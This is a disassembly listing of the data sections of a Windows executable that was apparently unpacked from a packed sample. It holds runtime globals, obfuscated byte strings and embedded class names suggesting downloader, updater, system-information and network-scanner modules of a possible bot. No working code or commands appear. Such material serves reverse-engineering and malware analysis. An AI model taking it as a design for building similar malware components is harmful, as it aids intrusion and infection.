byte_4250E1 db 3 dup(0) ; DATA XREF: .text:0041BEC5o
dd 0Dh dup(0)
db 0
byte_425119 db 3 dup(0) ; DATA XREF: sub_416F86+A4o
; sub_417119+7Co ...
dd 14h dup(0)
dd 1D4500h, 0
dd 644A6800h, 504F5A58h, 6D565576h, 56664A52h, 53h, 1Bh dup(0)
dd 0F4B6B600h, 0EDEDh, 8 dup(0)
dword_42521C dd 0 ; DATA XREF: sub_41748B+174r
; sub_41748B+1B1r
db 2 dup(0)
byte_425222 db 0 ; DATA XREF: sub_40177B+8Fr
; sub_4019F3+8Fr
align 8
dword_425228 dd 33h dup(0) ; DATA XREF: sub_40177B+7Co
dd 0EDEDF400h, 0D5D5h, 4 dup(0)
dd 0EDB82E00h, 0Dh dup(0)
dd 0D5BF0000h, 0BBEDEDF4h, 0E1F0FBh, 0Dh dup(0)
dd 0F8EF0000h, 0F0BBFBFAh, 0F0EDh, 1Dh dup(0)
dd 0F8CF0000h, 0FBA5h, 0Ch dup(0)
dd 0CF0000h, 0Ah dup(0)
dword_425468 dd 30h dup(0) ; DATA XREF: sub_4019F3+7Co
dword_425528 dd 2 dup(0) ; DATA XREF: sub_41802F+216o
; sub_41829C+27o
db 0
byte_425531 db 3 dup(0) ; DATA XREF: sub_41802F+13Eo
dd 0
db 2 dup(0)
word_42553A dw 0 ; DATA XREF: sub_41802F+227o
dd 0
db 0, 8, 0
byte_425543 db 0 ; DATA XREF: sub_41783D+1CFo
dd 10C7800h, 4201F800h
dword_42554C dd 0A4A3D000h, 0D1D3A4A1h ; DATA XREF: sub_41783D+22Fo
db 0A0h
byte_425555 db 0D7h, 0D0h, 0D3h ; DATA XREF: sub_41783D+1DFo
dd 0D1ACA6A4h
db 0A3h, 0A6h
word_42555E dw 0A7D3h ; DATA XREF: sub_41783D+2ECo
; sub_41783D+355o
dd 0A6D0A6D4h
db 0D0h, 0D1h, 0ADh
byte_425567 db 0D1h ; DATA XREF: sub_41783D+365o
dd 0D0D6D1D0h, 0D0A0D1ADh
aJzgdDDZndvzeag db 'Ѧ§£¤Ö¤Ô¤ÐÔÓÑЧ¤¢§¥ ££ÑÖÐצӥ֢Ӭ£ÔÖ¡¤£¢¥¡Ô¡Ó¡×Ѭ¬Ó¬¤Ó§£ÖÓЦ§'
; DATA XREF: sub_417361+A4o
; sub_41783D+1EFo
db 'Ð×£¤¢¡¦§ צ¢×פ¡Ð×Ô ÔÖ',0
align 4
dd 4 dup(0)
dword_4255DC dd 3 dup(0) ; DATA XREF: sub_419A9F+6Bo
dword_4255E8 dd 69h dup(0) ; DATA XREF: sub_4198D2+3Do
dd 0D7A1AD00h, 0A3D0A4A5h, 0A4A4D1A7h, 0D0A3A1ADh, 0A7D0A4ADh
dd 0ACA3D1D1h, 0ADD7D3A4h, 0A0ACD0D6h, 0A6D7A2A2h, 0A6D0D0A0h
dd 0A1A4ACACh, 0D4ACA0D0h, 0D7A3D0A4h, 0A2A2D7ADh, 0ADA3D7A1h
dd 0D3A7A7A2h, 0D0ADACA3h, 0A2A2ACA3h, 0ADACA1D4h, 0D1A4D3A7h
dd 0A1A5A6A1h, 0A4D3D1A2h, 0D0D6A1A2h, 0ACD4ACD7h, 0A1D4D0A0h
dd 0A3D7D6A6h, 0A7A0A7A1h, 0A3A2A3A3h, 0D0D7D7ADh, 0D1D7A2A7h
dd 0A6D0A0D6h, 0A0D0h, 10h dup(0)
dd 0D6DCDB00h, 0DEh, 0D4C50000h, 0C6C6h, 0C0000000h, 0C7D0C6h
dd 0
db 'ÅÜÛÒ',0
align 10h
dd 0DBDAC500h, 0D2h, 0DCDE0000h, 0DED6h, 0DF000000h, 0DBDCDAh
dd 0
db 'ØÚÑÐ',0
align 4
dd 0DCC7C500h, 0D2C6D8C3h, 2 dup(0)
dd 0E1E1FD00h, 0BABAAFE5h, 0BBE2E2E2h, 0FEFBF0F1h, 0E3FAFBF0h
dd 0F0F1E7F0h, 0FBF0FEFBh, 0BAF9FBBBh, 0F9F7F0E2h, 0FCBAF2FAh
dd 0F0F2F4F8h, 0F8EFBAE6h, 0F0BBFBFAh, 0F0EDh, 42035000h
dd 534800h, 4204B800h, 4204D400h, 4206C800h, 4206D800h
dd 42070C00h, 42071C00h, 42073400h
dword_425900 dd 200h, 180h, 420A4C80h, 97520100h, 11D059CAh, 0D5A8h
; DATA XREF: .rdata:00420E8Co
; .rdata:00420EACo
dword_425918 dd 8 dup(0) ; DATA XREF: .rdata:00420ED4o
; .rdata:00420EFCo ...
dword_425938 dd 8 dup(0) ; DATA XREF: .rdata:00420F24o
; .rdata:00420F48o ...
dword_425958 dd 7 dup(0) ; DATA XREF: .rdata:00420DE4o
; .rdata:00420F94o ...
dword_425974 dd 6 dup(0) ; DATA XREF: .rdata:00420F70o
; .rdata:00420FC8o ...
dd 900h
dword_425990 dd 0C1371D00h, 79AB46C5h, 8F63h, 3 dup(0) ; DATA XREF: .rdata:00420FF0o
; .rdata:00421014o
dword_4259A8 dd 5 dup(0) ; DATA XREF: .rdata:0042103Co
; .rdata:00421060o
dword_4259BC dd 7 dup(0) ; DATA XREF: .rdata:00421088o
; .rdata:004210ACo
dword_4259D8 dd 7 dup(0) ; DATA XREF: .rdata:004210D4o
; .rdata:004210F8o
dword_4259F4 dd 7 dup(0) ; DATA XREF: .rdata:00421120o
; .rdata:00421144o
dword_425A10 dd 900h, 8AAFA800h, 0BE11C97Dh, 8F4h, 3 dup(0) ; DATA XREF: .rdata:0042116Co
; .rdata:00421190o
dword_425A2C dd 7 dup(0) ; DATA XREF: .rdata:004211B8o
; .rdata:004211DCo
dword_425A48 dd 0Eh dup(0) ; DATA XREF: .rdata:00421204o
; .rdata:00421228o
dword_425A80 dd 0 ; DATA XREF: sub_402E33+4w
; __invalid_parameter+3r
dword_425A84 dd 0 ; DATA XREF: operator new(uint)+2Bo
; sub_41C52Aw ...
align 10h
dword_425A90 dd 0 ; DATA XREF: operator new(uint):loc_40306Fr
; operator new(uint)+32w
; void *dword_425A94
dword_425A94 dd 0 ; DATA XREF: ___tmainCRTStartup+11Dw
; __setenvp:loc_40ABF3r ...
dd 49964200h
dword_425A9C dd 37FD4A9Fh ; DATA XREF: _fast_error_exitr
; __set_error_mode+15r ...
dword_425AA0 dd 0D6F5h ; DATA XREF: ___report_gsfailure+8Fw
; .rdata:off_41D3F8o
dword_425AA4 dd 0 ; DATA XREF: ___report_gsfailure+99w
dd 0
dword_425AAC dd 0 ; DATA XREF: ___report_gsfailure+8Aw
dd 10h dup(0)
dword_425AF0 dd 0 ; DATA XREF: ___report_gsfailure+BFw
; ___report_gsfailure+DFr
align 8
dword_425AF8 dd 0 ; DATA XREF: ___report_gsfailure+7Bw
; .rdata:0041D3FCo
dd 7 dup(0)
dd 900h, 3485E900h, 1291D912h, 1241h, 17h dup(0)
word_425B84 dw 0 ; DATA XREF: ___report_gsfailure+4Fw
align 4
word_425B88 dw 0 ; DATA XREF: ___report_gsfailure+48w
align 4
word_425B8C dw 0 ; DATA XREF: ___report_gsfailure+41w
align 10h
word_425B90 dw 0 ; DATA XREF: ___report_gsfailure+3Aw
align 4
dword_425B94 dd 0 ; DATA XREF: ___report_gsfailure+26w
dword_425B98 dd 0 ; DATA XREF: ___report_gsfailure+20w
dword_425B9C dd 900h ; DATA XREF: ___report_gsfailure+1Aw
dword_425BA0 dd 0EB02EB00h ; DATA XREF: ___report_gsfailure+14w
dword_425BA4 dd 0FFF9E805h ; DATA XREF: ___report_gsfailure+Ew
dword_425BA8 dd 0FFFFh ; DATA XREF: ___report_gsfailure+9w
dword_425BAC dd 0 ; DATA XREF: ___report_gsfailure+60w
dword_425BB0 dd 0 ; DATA XREF: ___report_gsfailure+68w
; ___report_gsfailure+85r
word_425BB4 dw 0 ; DATA XREF: ___report_gsfailure+33w
align 4
dword_425BB8 dd 0 ; DATA XREF: ___report_gsfailure+57w
dword_425BBC dd 0 ; DATA XREF: ___report_gsfailure+70w
word_425BC0 dw 0 ; DATA XREF: ___report_gsfailure+2Cw
align 4
dd 17h dup(0)
dd 900h, 41D38C00h, 0
dd 413F2E00h, 736C6356h, 75646F4Dh, 4040656Ch, 41D38C00h
dd 0
dd 413F2E00h, 6E656C56h, 5F687467h, 6F727265h, 74734072h
dd 404064h, 41D38C00h, 0
dd 413F2E00h, 676F6C56h, 655F6369h, 726F7272h, 64747340h
dd 4040h, 41D38C00h, 0
dd 413F2E00h, 63786556h, 69747065h, 73406E6Fh, 40406474h
dd 41D38C00h, 0
dd 413F2E00h, 64616256h, 6C6C615Fh, 7340636Fh, 40406474h
dd 41D38C00h, 0
dd 413F2E00h, 6C646D56h, 40445055h, 40h, 41D38C00h, 0
dd 413F2E00h, 6C646D56h, 40404C44h, 41D38C00h, 0
dd 413F2E00h, 6C646D56h, 50545448h, 6F666E49h, 4040h, 41D38C00h
dd 0
dd 413F2E00h, 6C646D56h, 4974654Eh, 406F666Eh, 40h, 41D38C00h
dd 0
dd 413F2E00h, 6C646D56h, 49737953h, 406F666Eh, 40h, 41D38C00h
dd 0
dd 413F2E00h, 6C646D56h, 6E616353h, 74617453h, 404073h
dd 41D38C00h, 0
dd 413F2E00h, 6C646D56h, 6E616353h, 706F7453h, 4040h, 41D38C00h
dd 0
dd 413F2E00h, 6C646D56h, 6E616353h, 4072656Eh, 40h, 0Fh dup(0)
dword_425DC4 dd 0 ; DATA XREF: getSystemCP(int)+15w
; getSystemCP(int)+1Dw ...
word_425DC8 dw 0 ; DATA XREF: __setmbcp+E7w
align 4
dd 2 dup(0)
dword_425DD4 dd 4E4h ; DATA XREF: __setmbcp+C3w
dword_425DD8 dd 0 ; DATA XREF: __setmbcp+CBw
dword_425DDC dd 0 ; DATA XREF: __setmbcp+D3w
dword_425DE0 dd 0 ; DATA XREF: __stricmp+6r
; __strnicmp+6r ...
dd 8 dup(0)
off_425E04 dd offset sub_4051F6 ; DATA XREF: __mtinit+30w __mtinit+51r ...
dword_425E08 dd 77E78B61h ; DATA XREF: ___set_flsgetvalue+10r
; __mtinit+3Dw ...
dword_425E0C dd 77E79B39h ; DATA XREF: __getptd_noexit+44r
; __mtinit+4Aw ...
dword_425E10 dd 77E72B29h ; DATA XREF: __mtterm+Br __mtinit+5Ew ...
align 8
dword_425E18 dd 14B178h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: __mtinitlocks+4o
; .data:off_423800o
dword_425E30 dd 14B1A0h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .data:00423808o
dword_425E48 dd 14B1C8h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .data:00423818o
dd 14B1F0h, 0FFFFFFFFh, 4 dup(0)
dword_425E78 dd 14B218h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .data:00423830o
dd 14B240h, 0FFFFFFFFh, 4 dup(0)
dd 14B268h, 0FFFFFFFFh, 4 dup(0)
dword_425EC0 dd 14B290h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .data:00423850o
dword_425ED8 dd 14B2B8h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .data:00423860o
dd 14B2E0h, 0FFFFFFFFh, 4 dup(0)
dd 14B308h, 0FFFFFFFFh, 4 dup(0)
dword_425F20 dd 14B410h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .data:00423880o
dd 14B438h, 0FFFFFFFFh, 4 dup(0)
dd 14B460h, 0FFFFFFFFh, 4 dup(0)
dword_425F68 dd 9A0000h ; DATA XREF: __msize+7Cr _free+62r ...
dword_425F6C dd 0 ; DATA XREF: ___sbh_heap_init+21w
; ___sbh_free_block+21Cr ...
dword_425F70 dd 0 ; DATA XREF: unknown_libname_53+14r
; unknown_libname_53+29r ...
dword_425F74 dd 0 ; DATA XREF: __tsopen_nolock+19Er
dword_425F78 dd 2 ; DATA XREF: ___tmainCRTStartup+A8w
; sub_407906:loc_40792Er ...
dword_425F7C dd 0A28h ; DATA XREF: ___tmainCRTStartup+BFw
dword_425F80 dd 501h ; DATA XREF: ___tmainCRTStartup+AEw
dword_425F84 dd 5 ; DATA XREF: ___tmainCRTStartup+B3w
; sub_40793D+30r
dword_425F88 dd 1 ; DATA XREF: ___tmainCRTStartup+B9w
dword_425F8C dd 1 ; DATA XREF: __setargv+A2w
dword_425F90 dd 9A2BA8h ; DATA XREF: __setargv+A7w
align 8
; void *dword_425F98
dword_425F98 dd 9A2BC8h ; DATA XREF: __setenvp+4Bw
; __setenvp:loc_40ACA6r ...
dd 3 dup(0)
off_425FA8 dd offset aCM_unpackerPac ; DATA XREF: __setargv+37w
; "C:\\m_unpacker\\packed.exe"
align 10h
byte_425FB0 db 0 ; DATA XREF: _doexit+2Cw
; ___endstdio+5r
align 4
dword_425FB4 dd 0 ; DATA XREF: _doexit+23w
dword_425FB8 dd 0 ; DATA XREF: _doexit+1Br _doexit+A0w
dword_425FBC dd 0 ; DATA XREF: sub_407F55+27o
; void *dword_425FC0
dword_425FC0 dd 0 ; DATA XREF: sub_407F55+22r
dword_425FC4 dd 0 ; DATA XREF: sub_408058+4w __callnewhr
dword_425FC8 dd 2 ; DATA XREF: __openfile+280w
; __stbuf:loc_408751w ...
dd 3 dup(0)
; char Dst[]
Dst db 19h dup(0) ; DATA XREF: __NMSG_WRITE+66o
; char byte_425FF1[]
byte_425FF1 db 104h dup(0) ; DATA XREF: __NMSG_WRITE+8Ao
byte_4260F5 db 0 ; DATA XREF: __NMSG_WRITE+92w
align 4
dd 7Dh dup(0)
dword_4262EC dd 0 ; DATA XREF: _malloc+80r
; __NMSG_WRITE+E3o ...
dword_4262F0 dd 0 ; DATA XREF: ___libm_error_support+8r
align 8
aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: __setargv+1Do
; .data:off_425FA8o
align 4
dd 3Ah dup(0)
byte_4263FC db 0 ; DATA XREF: __setargv+24w
align 10h
dword_426400 dd 1 ; DATA XREF: ___crtGetEnvironmentStringsA+2r
; ___crtGetEnvironmentStringsA+24w ...
dword_426404 dd 77C26E79h ; DATA XREF: __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)+43r
; $LN9_2+11w ...
byte_426408 db 1 ; DATA XREF: __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *):$LN10_2r
; $LN9_2+17w ...
align 4
off_42640C dd offset ?terminate@@YAXXZ ; DATA XREF: _inconsistency(void)+Cr
; __initp_eh_hooks+Bw
; terminate(void)
dword_426410 dd 1 ; DATA XREF: unknown_libname_111+14r
; unknown_libname_111+3Aw ...
dword_426414 dd 1 ; DATA XREF: __crtGetStringTypeA_stat(localeinfo_struct *,ulong,char const *,int,ushort *,int,int,int)+Fr
; __crtGetStringTypeA_stat(localeinfo_struct *,ulong,char const *,int,ushort *,int,int,int)+37w ...
dword_426418 dd 0 ; DATA XREF: .data:off_423F3Co
; .data:off_423F40o ...
dword_42641C dd 77E7C706h ; DATA XREF: sub_40CAFA+4w
; ___crtInitCritSecAndSpinCount+11r ...
dword_426420 dd 0 ; DATA XREF: __get_printf_count_output+Ar
dword_426424 dd 0 ; DATA XREF: __initp_misc_winsig+4w
; unknown_libname_119:loc_40DD72o ...
dword_426428 dd 0 ; DATA XREF: __initp_misc_winsig+9w
; unknown_libname_119:loc_40DDC8o ...
dword_42642C dd 0 ; DATA XREF: __initp_misc_winsig+Ew
; sub_40DD1Cr ...
dword_426430 dd 0 ; DATA XREF: __initp_misc_winsig+13w
; unknown_libname_119:loc_40DDD4o ...
align 8
dword_426438 dd 0 ; DATA XREF: unknown_libname_126+4w
dd 2 dup(0)
dword_426444 dd 0 ; DATA XREF: sub_40DEE3+4w
dd 0Fh dup(0)
dword_426484 dd 0 ; DATA XREF: __openfile+6r
dword_426488 dd 0 ; DATA XREF: sub_40F524+10r
; sub_40F524+60w ...
dword_42648C dd 0 ; DATA XREF: sub_40F524+75w
; sub_40F524:loc_40F672r
dword_426490 dd 0 ; DATA XREF: sub_40F524+82w
; sub_40F524+167r
dword_426494 dd 0 ; DATA XREF: sub_40F524+D0w
; sub_40F524:loc_40F5F9r
dword_426498 dd 0 ; DATA XREF: sub_40F524+BAw
; sub_40F524+E1r ...
align 10h
dword_4264A0 dd 0 ; DATA XREF: __fpmath+Fw
dd 2Fh dup(0)
dword_426560 dd 0 ; DATA XREF: sub_410889:loc_4108B1r
byte_426564 db 0 ; DATA XREF: __cftoe2_l:loc_410B90r
align 4
dword_426568 dd 0 ; DATA XREF: sub_419A10+4Br
; sub_419EA0+E6w ...
dword_42656C dd 0 ; DATA XREF: sub_419948+14r
; sub_4199AC+14r ...
dword_426570 dd 0 ; DATA XREF: sub_4198D2+1Dr
; sub_419EA0+136w ...
dword_426574 dd 0 ; DATA XREF: sub_419A10+1Cr
; sub_419EA0+AAw ...
dword_426578 dd 0 ; DATA XREF: sub_419EA0+BEw
; sub_419EA0+16Dr ...
dword_42657C dd 0 ; DATA XREF: sub_419EA0+D2w
; sub_419EA0+179r ...
dword_426580 dd 0 ; DATA XREF: sub_419948+34r
; sub_4199AC+34r ...
dword_426584 dd 0 ; DATA XREF: sub_419A10+63r
; sub_419EA0+FAw ...
dword_426588 dd 0 ; DATA XREF: sub_419EA0+14Aw
; sub_419EA0+322r
dword_42658C dd 0 ; DATA XREF: sub_419EA0+96w
; sub_419EA0+155r ...
dword_426590 dd 0 ; DATA XREF: sub_419948+4Dr
; sub_4199AC+4Dr ...
dword_426594 dd 0 ; DATA XREF: sub_401C1D+6Dr
; sub_418B1F+A9w ...
dword_426598 dd 0 ; DATA XREF: sub_401CC0+14Fr
; sub_41748B+11Dr ...
dword_42659C dd 0 ; DATA XREF: sub_401CC0+149r
; sub_41748B+116r ...
dword_4265A0 dd 0 ; DATA XREF: sub_401CC0+143r
; sub_418DA0+61w
dword_4265A4 dd 0 ; DATA XREF: sub_401CC0+13Dr
; sub_418DA0+66w
dword_4265A8 dd 0 ; DATA XREF: sub_401CC0+137r
; sub_418DA0+71w
dword_4265AC dd 0 ; DATA XREF: sub_401CC0+12Ar
; sub_418DA0+76w
dword_4265B0 dd 0 ; DATA XREF: sub_418D5Ar
; sub_418D5A:loc_418D8Fw ...
dword_4265B4 dd 0 ; DATA XREF: sub_418D5A+5r
; sub_418D5A+3Bw ...
dword_4265B8 dd 0 ; DATA XREF: sub_418D5A+15r
; sub_4192FB+20w ...
dword_4265BC dd 0 ; DATA XREF: sub_4192FB+25w
dd 33h dup(0)
dword_42668C dd 2 dup(0) ; DATA XREF: sub_4192FB+43o
word_426694 dw 0 ; DATA XREF: sub_41835D+8o
; sub_418B1F+AEw ...
word_426696 dw 0 ; DATA XREF: sub_418B1F+D1w
dword_426698 dd 0 ; DATA XREF: sub_418B1F+BDw
dd 2 dup(0)
dword_4266A4 dd 0 ; DATA XREF: sub_418C40+6r
; sub_418C40+73r ...
dword_4266A8 dd 41h dup(0) ; DATA XREF: sub_418552+1EDo
; sub_418552+224o ...
dword_4267AC dd 0 ; DATA XREF: sub_41835D+Dr
; sub_418B1F+84w ...
; char Str1
Str1 db 0 ; DATA XREF: sub_418552+293o
; sub_418552+477o ...
align 4
dd 40h dup(0)
byte_4268B4 db 0 ; DATA XREF: sub_401F1C:loc_401F83r
; sub_418B1F+117w ...
align 4
dword_4268B8 dd 41h dup(0) ; DATA XREF: sub_418552:loc_41876Fo
; sub_418B1F+1Ao
dword_4269BC dd 0 ; DATA XREF: sub_40177B+263o
; sub_4019F3+215o ...
byte_4269C0 db 0 ; DATA XREF: sub_413A2D+53Dr
; sub_418301:loc_418331r ...
align 4
dd 8 dup(0)
dword_4269E4 dd 0 ; DATA XREF: sub_41B5D2+33w
; sub_41B5D2+8Fr ...
; char Filename[]
Filename db 100h dup(0) ; DATA XREF: sub_41B3D0+49o
; sub_41B775+21o
; char Dest
Dest db 0 ; DATA XREF: sub_401CC0+16Bo
; sub_41A391+D7o ...
align 4
dd 3Fh dup(0)
dword_426BE8 dd 0 ; DATA XREF: sub_401CC0+170r
; sub_41A391+45o
dword_426BEC dd 0 ; DATA XREF: sub_401CC0+17Er
; sub_41A391:loc_41A51Cw ...
byte_426BF0 db 0 ; DATA XREF: sub_401F1C+4B7w
align 4
dd 3Fh dup(0)
dword_426CF0 dd 0 ; DATA XREF: sub_401F1C+44Ar
; sub_401F1C+483w
dd 3 dup(0)
db 0
byte_426D01 db 0 ; DATA XREF: sub_401F1C:loc_4020A2r
; sub_40243A+AFw
align 10h
dword_426D10 dd 0 ; DATA XREF: sub_40243A:loc_4024C3r
dd 330Bh dup(0)
dword_433940 dd 0 ; DATA XREF: sub_40251A+A6r
; sub_418552+501r ...
db 0
byte_433945 db 0 ; DATA XREF: sub_401F1C+3Er
; sub_41B5D2:loc_41B60Ew ...
align 4
dword_433948 dd 0 ; DATA XREF: sub_41B5D2+13Bw
dword_43394C dd 0 ; DATA XREF: sub_40251A+90r
; sub_41B3D0:loc_41B53Ew ...
dword_433950 dd 5Eh dup(0) ; DATA XREF: .text:0041AE68o
dword_433AC8 dd 5Dh dup(0) ; DATA XREF: .text:0041AE8Bo
dword_433C3C dd 0 ; DATA XREF: sub_417676+110o
; sub_41BB84+43o ...
; void *dword_433C40
dword_433C40 dd 9A3990h ; DATA XREF: sub_417676+109r
; sub_417676+122r ...
dword_433C44 dd 8 ; DATA XREF: sub_40121E+20r
; sub_40121E:loc_40127Bw ...
dword_433C48 dd 0 ; DATA XREF: sub_40243A+Fo
; sub_413F8F+14o ...
; void *dword_433C4C
dword_433C4C dd 9A3AA8h ; DATA XREF: sub_40243A:loc_402453r
; sub_40243A:loc_402462r ...
dword_433C50 dd 0 ; DATA XREF: sub_4016BA+20r
; sub_4016BA:loc_401717w ...
off_433C54 dd offset off_420AEC ; DATA XREF: sub_41C370+5Co
; sub_41C370+66w
off_433C58 dd offset off_420AE4 ; DATA XREF: sub_41C370+40o
; sub_41C370+4Aw
off_433C5C dd offset off_420B04 ; DATA XREF: sub_41C370+78o
; sub_41C370+82w
off_433C60 dd offset off_420BC4 ; DATA XREF: sub_41C370+94o
; sub_41C370+9Ew
off_433C64 dd offset off_420BCC ; DATA XREF: sub_41C370+B0o
; sub_41C370+BAw
dword_433C68 dd 6B85BC47h ; DATA XREF: .text:0041AEDBr
; sub_41C370+CEw
off_433C6C dd offset off_420D24 ; DATA XREF: sub_41C370+F6o
; sub_41C370+100w
off_433C70 dd offset off_420D2C ; DATA XREF: sub_41C370+112o
; sub_41C370+11Cw
off_433C74 dd offset off_420D1C ; DATA XREF: sub_41C370+DAo
; sub_41C370+E4w
dword_433C78 dd 1 ; DATA XREF: _ceilr
; __sse2_mathfcns_initw ...
dword_433C7C dd 1 ; DATA XREF: unknown_libname_13+28r
; _memset+1Er ...
dword_433C80 dd 0 ; DATA XREF: ___libm_error_support+34r
dword_433C84 dd 20h ; DATA XREF: __ioinit+3Cw __ioinit+BFw ...
dd 6 dup(0)
dword_433CA0 dd 9A20B0h ; DATA XREF: __flsbuf+FDr
; ___initstdio+87r ...
dd 3Fh dup(0)
; void *dword_433DA0
dword_433DA0 dd 9A3188h ; DATA XREF: ___initstdio+2Bw
; ___initstdio+44w ...
dd 7 dup(0)
dword_433DC0 dd 400h dup(0) ; DATA XREF: .data:off_423950o
; .data:00423958o
dword_434DC0 dd 200h ; DATA XREF: ___initstdior
; ___initstdio:loc_4080A4w ...
dword_434DC4 dd 0 ; DATA XREF: sub_407B65w
dword_434DC8 dd 1 ; DATA XREF: __setenvp+B3w
dword_434DCC dd 9A310Ch ; DATA XREF: __onexit_nolock+10r
; __onexit_nolock+9Bw ...
dword_434DD0 dd 9A3100h ; DATA XREF: __onexit_nolock+5r
; __onexit_nolock+87w ...
dword_434DD4 dd 1 ; DATA XREF: ___initmbctabler
; ___initmbctable+11w ...
dword_434DD8 dd 0 ; DATA XREF: __cinit:loc_4079E2r
; __cinit+74o ...
dword_434DDC dd 0 ; DATA XREF: ___sbh_heap_init+28w
; ___sbh_find_blockr ...
dword_434DE0 dd 0 ; DATA XREF: ___sbh_heap_init+15w
; ___sbh_find_block+6r ...
dword_434DE4 dd 0 ; DATA XREF: _V6_HeapAlloc+13r
; ___sbh_heap_init+36w ...
dword_434DE8 dd 0 ; DATA XREF: ___sbh_heap_init+2Fw
; ___sbh_free_block+2FCw ...
dword_434DEC dd 0 ; DATA XREF: ___sbh_heap_init+3Cw
; ___sbh_alloc_new_regionr ...
dword_434DF0 dd 0 ; DATA XREF: ___sbh_free_block+229r
; ___sbh_free_block+249r ...
dword_434DF4 dd 1 ; DATA XREF: __msize:loc_402A7Er
; _free+13r ...
dword_434DF8 dd 142340h ; DATA XREF: ___tmainCRTStartup+113w
; __wincmdln:loc_40AB95r ...
_data ends
; Section 5. (virtual address 00036000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 00035200
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 436000h
dd 80h dup(0)
align 1000h
_idata2 ends
end $LN39